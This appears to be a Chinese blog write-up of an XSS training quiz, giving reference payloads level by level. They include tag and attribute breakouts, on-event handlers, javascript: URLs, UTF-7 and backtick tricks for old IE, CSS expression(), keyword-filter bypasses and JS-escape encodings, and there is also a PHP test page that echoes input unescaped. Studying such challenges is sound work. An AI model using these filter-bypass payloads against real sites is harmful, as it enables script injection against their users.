前言
做xss做瘋了再來一個。
地址:https://xss-quiz.int21h.jp/ ,這個貌似是日本的一個安全研究員yamagata21做的。
做到第九關就跪了,而總共有二十關。一半都還沒有,實在是慚愧。第九關考的是utf-7編碼繞過實體編碼的問題,但是我在最新的chrome和firefox都不能復現。查了好一會資料才發現,utf-7 bom xss是用來bypass ie 7的。
這。。。。
又因為這個挑戰后面的關卡,貌似必須得過了前面的關卡才能通關。所以,只好做到這里了,先做個記錄,留着以后做吧!
關於這個utf-7 xss實在是沒弄明白,還有這個關卡通關問題希望有知道的大佬能夠指點指點,謝謝了。
百度了一下,看了一些wp,發現一些大佬們關於utf-7 xss的也是沒有復現成功。很好奇他們怎么過的,竟然直接firebug前端彈框解決。
我。。。。(這都沒想到,™真的是腦塞了。。。)
Level 1
第一關通常都非常簡單,這里也確實是這樣。
沒有任何過濾,輸出點在標簽之間,閉合標簽,構造新標簽搞定。
參考payload:
"</b><svg/onload=alert(document.domain)>
Level 2
輸出點在標簽屬性內,閉合雙引號,構造on事件。
參考payload:
" onmouseover=alert(document.domain)>
Level 3
這道題有兩個參數,第一個參數是過濾的了,用第二個參數,什么都沒過濾。
需要burpsuite抓一下包。
參考payload:
<script>alert(document.domain)</script>
成功彈框
Level 4
這一關有三個參數,一二兩個參數都做了過濾,直接看第三個參數。
我的做法是閉合雙引號,閉合input標簽,構造新標簽。
參考payload:
"><svg/onload=alert(document.domain)>%0a
同樣需要抓包
Level 5,6
這一關考回頭了,和Level 2的payload是一樣的,對了,還有Level 6也是一樣的payload直接過。
閉合屬性,構造on事件。
參考payload:
" onmouseover=alert(document.domain)%0a
全程開着burpsuite,根本沒感受到輸入框的長度限制。
Level 7
空格分割屬性,參考payload:
test onmouseover=alert(document.domain)
Level 8
javascript:偽協議在a標簽的使用
參考payload:
javascript:alert(document.domain)
Level 9
這一關是利用utf-7編碼的,需要環境是IE 7
我用了ie復現也是不能成功,留下個payload吧。
參考payload:
" onmouseover=alert(document.domain)>
+/v8 +ACI- onmouseover=alert(d+AG8AYw-u+AG0-en+AHQALg-d+AG8AbQBh-in)+AD4-
直接firebug彈框,過!!2333
Level 10
發現過濾了domain關鍵字,但是只是替換為空而已。
那么可以雙寫繞過,參考payload:
" onmouseover=alert(document.ddomainomain)>
Level 11
查看源代碼,老是不小心看到提示:
s/script/xscript/ig;
s/on[a-z]+=/onxxx=/ig;
s/style=/stxxx=/ig;
發現過濾了不少東西,
1,script會被替換為xscript
2,on事件會被替換為onxxx
3,style會被替換為stxxx
嘗試用tab制表(%09),換行(%0a,%0d,%0a%0d)等符號都不行。
明明之前有過幾乎一樣的題,都是用%09來過的啊?
比如test.xss.tv的第八關。
得到的是這樣子的
而這里在我用幾乎一樣的思路的時候卻過不了,如payload:
"><a href=javascri%09pt:alert(1)>test</a>
得到的卻是這樣子的
也就是說后面的那一段被截斷了。
右鍵檢查發現:
被分割為href和pt:alert(1)兩個屬性了。
起初我懷疑是get和post兩種提交方式造成的。
然后本地搭建對比發現之后,其實是一樣的。
后台代碼如下:
1 <html> 2 <head> 3 <title>test</title> 4 </head> 5 <body> 6 <?php echo 'Post data: '.@$_POST['p'].'<br>';?> 7 <?php echo 'Get data: '.@$_GET['g'].'<br>';?> 8 <!--<a href="<?php echo @$_POST['p'];?>">click post</a> --> 9 <!-- <a href="<?php echo @$_GET['g'];?>">click get</a> --> 10 </body> 11 </html>
post和get的payload一樣,一同輸出
得到的超鏈接都是"127.0.0.1/javascri"
右鍵檢查發現都是被划分為了兩個屬性:
換了個payload:
javascri%09pt:alert(1)
然后輸出在href里面,如同text.xss.tv第八關的輸出點一樣。
結果發現兩個都被正確解析為了javascript:alert(1)。
經過對比之后,我得出了這樣的結論。
%09也就是tab制表符,使用在單個標簽之內,會被瀏覽器`正確`去除,而在跨標簽的時候(也就是閉合前面原有標簽,使用在構造者構造的新標簽的時候)不會被正確去除。也僅僅是%09,其十進制編碼和十六進制編碼都不會受影響。
后面測試發現%0a和%0d一樣受到影響。
在得出了結論之后,我在想為什么會是這樣的呢?瀏覽器解析修正html語法的時候是怎么樣修正的呢?
想了很久也查了一些資料,依舊沒辦法得出結論,也只能暫時先埋個坑在這里了。希望路過的大佬能夠解釋一下,謝謝!
那么這道題應該怎么過呢?
參考payload:
"><a href=javascri	pt:alert(document.domain)>test</a> //	 tab制表符html十進制編碼
"><a href=javascri
pt:alert(document.domain)>test</a> //
是html5的換行符,:是冒號
成功彈框
Level 12 (https://xss-quiz.int21h.jp/stage_no012.php?sid=ecc5555af7eed1253bcca9131be080488c7ba675)
查看提示:
"s/[\x00-\x20\<\>\"\']//g;
把\x00-\x20的字符與及<,>,",'都替換為空。
想着還有什么能夠替換空格呢?用
的話還是會沒辦法跳處value屬性。
看了一下sherlock17 大佬的wp,發現了竟然還有一個符號,學到東西了。但是得在IE下才可以。
`
由於IE的特性,或者說瀏覽器競爭時代百家爭鳴導致的結果,會把`解析為引號。
那么我們的payload可以是
``onmouseover=alert(1)
在IE下成功彈框
Level 13
這一關提示說是style attribute,也就是style的屬性問題。
想着閉合雙引號試試?結果發現被過濾了,那么就只能是style的payload了。
在wooyun上和owasp上找到了一些payload
如:
xss:expr/*XSS*/ession(alert(document.domain));
但在firefox下無法彈框,后來查了寫資料發現。
expression這個語法只存在ie上。
於是用ie測試了一下payload,成功彈框,但是陷入了死循環彈框中。(請謹慎使用)
Level 14
還是考的style的東西,但這次增加了過濾。
s/(url|script|eval|expression)/xxx/ig;
把url,script,eval,expression關鍵字都替換為了xxx。
解法就是尋找黑名單之外的關鍵字,但是我們發現其實我們可以直接用上面的那個payload:
xss:expr/*XSS*/ession(alert(document.domain));
Level 15
這一關考的是dom xss
由於在documnet.wirte中,這里是屬於js范疇,所以可以用js編碼
我們用十六進制編碼一下下面的payload
<svg/onload=alert(document.domain)>
\x3csvg\x2fonload=alert(document.domain)\x3e
因為是在js范疇,document.write在輸出的時候會JavascriptDecode一下數據,會把數據原有\去除,即php里面的stripslashes
所以我們最終的payload應該是這樣的。
\\x3csvg\\x2fonload=alert(document.domain)\\x3e
成功彈框:
Level 16
提示說
"document.write();" and "s/\\x/\\\\x/ig;
把\\x 替換成了\\\\x,但是js編碼又不止16進制,還有八進制,unicode編碼
用unicode編碼
\\u003cimg src=x onerror=alert(document.domain)\\u003e
用八進制編碼,同樣可以
\\74img src=x onerror=alert(document.domain)\\76
Level 17,Level 18
https://xss-quiz.int21h.jp/stage-No17.php?sid=0c8ab14016a836126b35d4ed081076aa3ded3aff
看了一下別人的wp,這兩關都是考的字符集的問題,且復現有瀏覽器要求需要在IE 6上復現。暫時不做研究,畢竟夜深了,但日后再研究!
總結:
通過這次的xss闖關,總算有點入門的感覺了。xss的世界真的是復雜而又美妙!